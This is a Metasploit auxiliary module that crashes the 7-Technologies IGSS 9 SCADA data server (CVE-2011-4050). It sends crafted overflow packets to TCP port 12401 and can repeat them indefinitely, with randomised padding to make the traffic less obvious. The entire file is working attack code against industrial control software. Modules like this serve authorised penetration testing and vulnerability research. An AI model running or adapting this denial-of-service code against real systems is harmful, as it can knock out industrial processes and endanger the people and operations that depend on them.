7-Technologies IGSS 9 IGSSdataServer.exe Denial Of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',  
'Description' => %q{  
The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be  
brought down by sending a crafted TCP packet to port 12401. This should also work  
for version <= 9.0.0.1120, but that version hasn't been tested.  
},  
'Author' =>  
[  
'jfa', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-4050' ],  
[ 'OSVDB', '77976' ],  
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-335-01' ]  
],  
'DisclosureDate' => '2011-12-20'  
))  
  
register_options(  
[  
Opt::RPORT(12401),  
OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),  
OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])  
])  
end  
  
def run  
#  
#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"  
#dos << Rex::Text.rand_text_alpha(5014)  
#  
# I should have looked at the other MSF modules before I started doing it the hard way.  
# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename  
#  
  
count = datastore['COUNT']  
snore = datastore['SLEEP']  
times = 1  
  
# Someone wants to keep a good service down.  
if count == 0  
count = 1  
infinite = true  
end  
  
#  
# The port seems to stay open open until someone clicks "Close the program".  
# Once they click "Close the program" (Windows 7), the port becomes unavailable.  
#  
# However, even though it's open, it doesn't seem to handle any valid requests.  
#  
while count >= 1 do  
## Randomize the buffer size to make it a teeny tiny bit less obvious  
size = Random.new.rand(1024..5014)  
  
dos = "\x00\x04" #Funky size causes overflow  
dos << "\x01\x00\x34\x12"  
dos << "\x0D" #Opcode  
dos << "\x00\x00\x00\x00\x00\x00\x00"  
dos << "\x01" #Flag  
dos << "\x00\x00\x00\x01\x00\x00\x00"  
dos << Rex::Text.rand_text_alpha(size)  
  
begin  
connect  
sock.put(dos)  
print_status("Sending DoS packet #{times}, size: #{dos.length} ...")  
disconnect  
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED  
print_status("Connection refused. Someone may have clicked 'Close the program'")  
end  
  
if infinite  
select(nil, nil, nil, snore)  
times += 1  
else  
select(nil, nil, nil, snore) if count > 1  
count -= 1  
times += 1  
end  
  
end  
end  
end  
`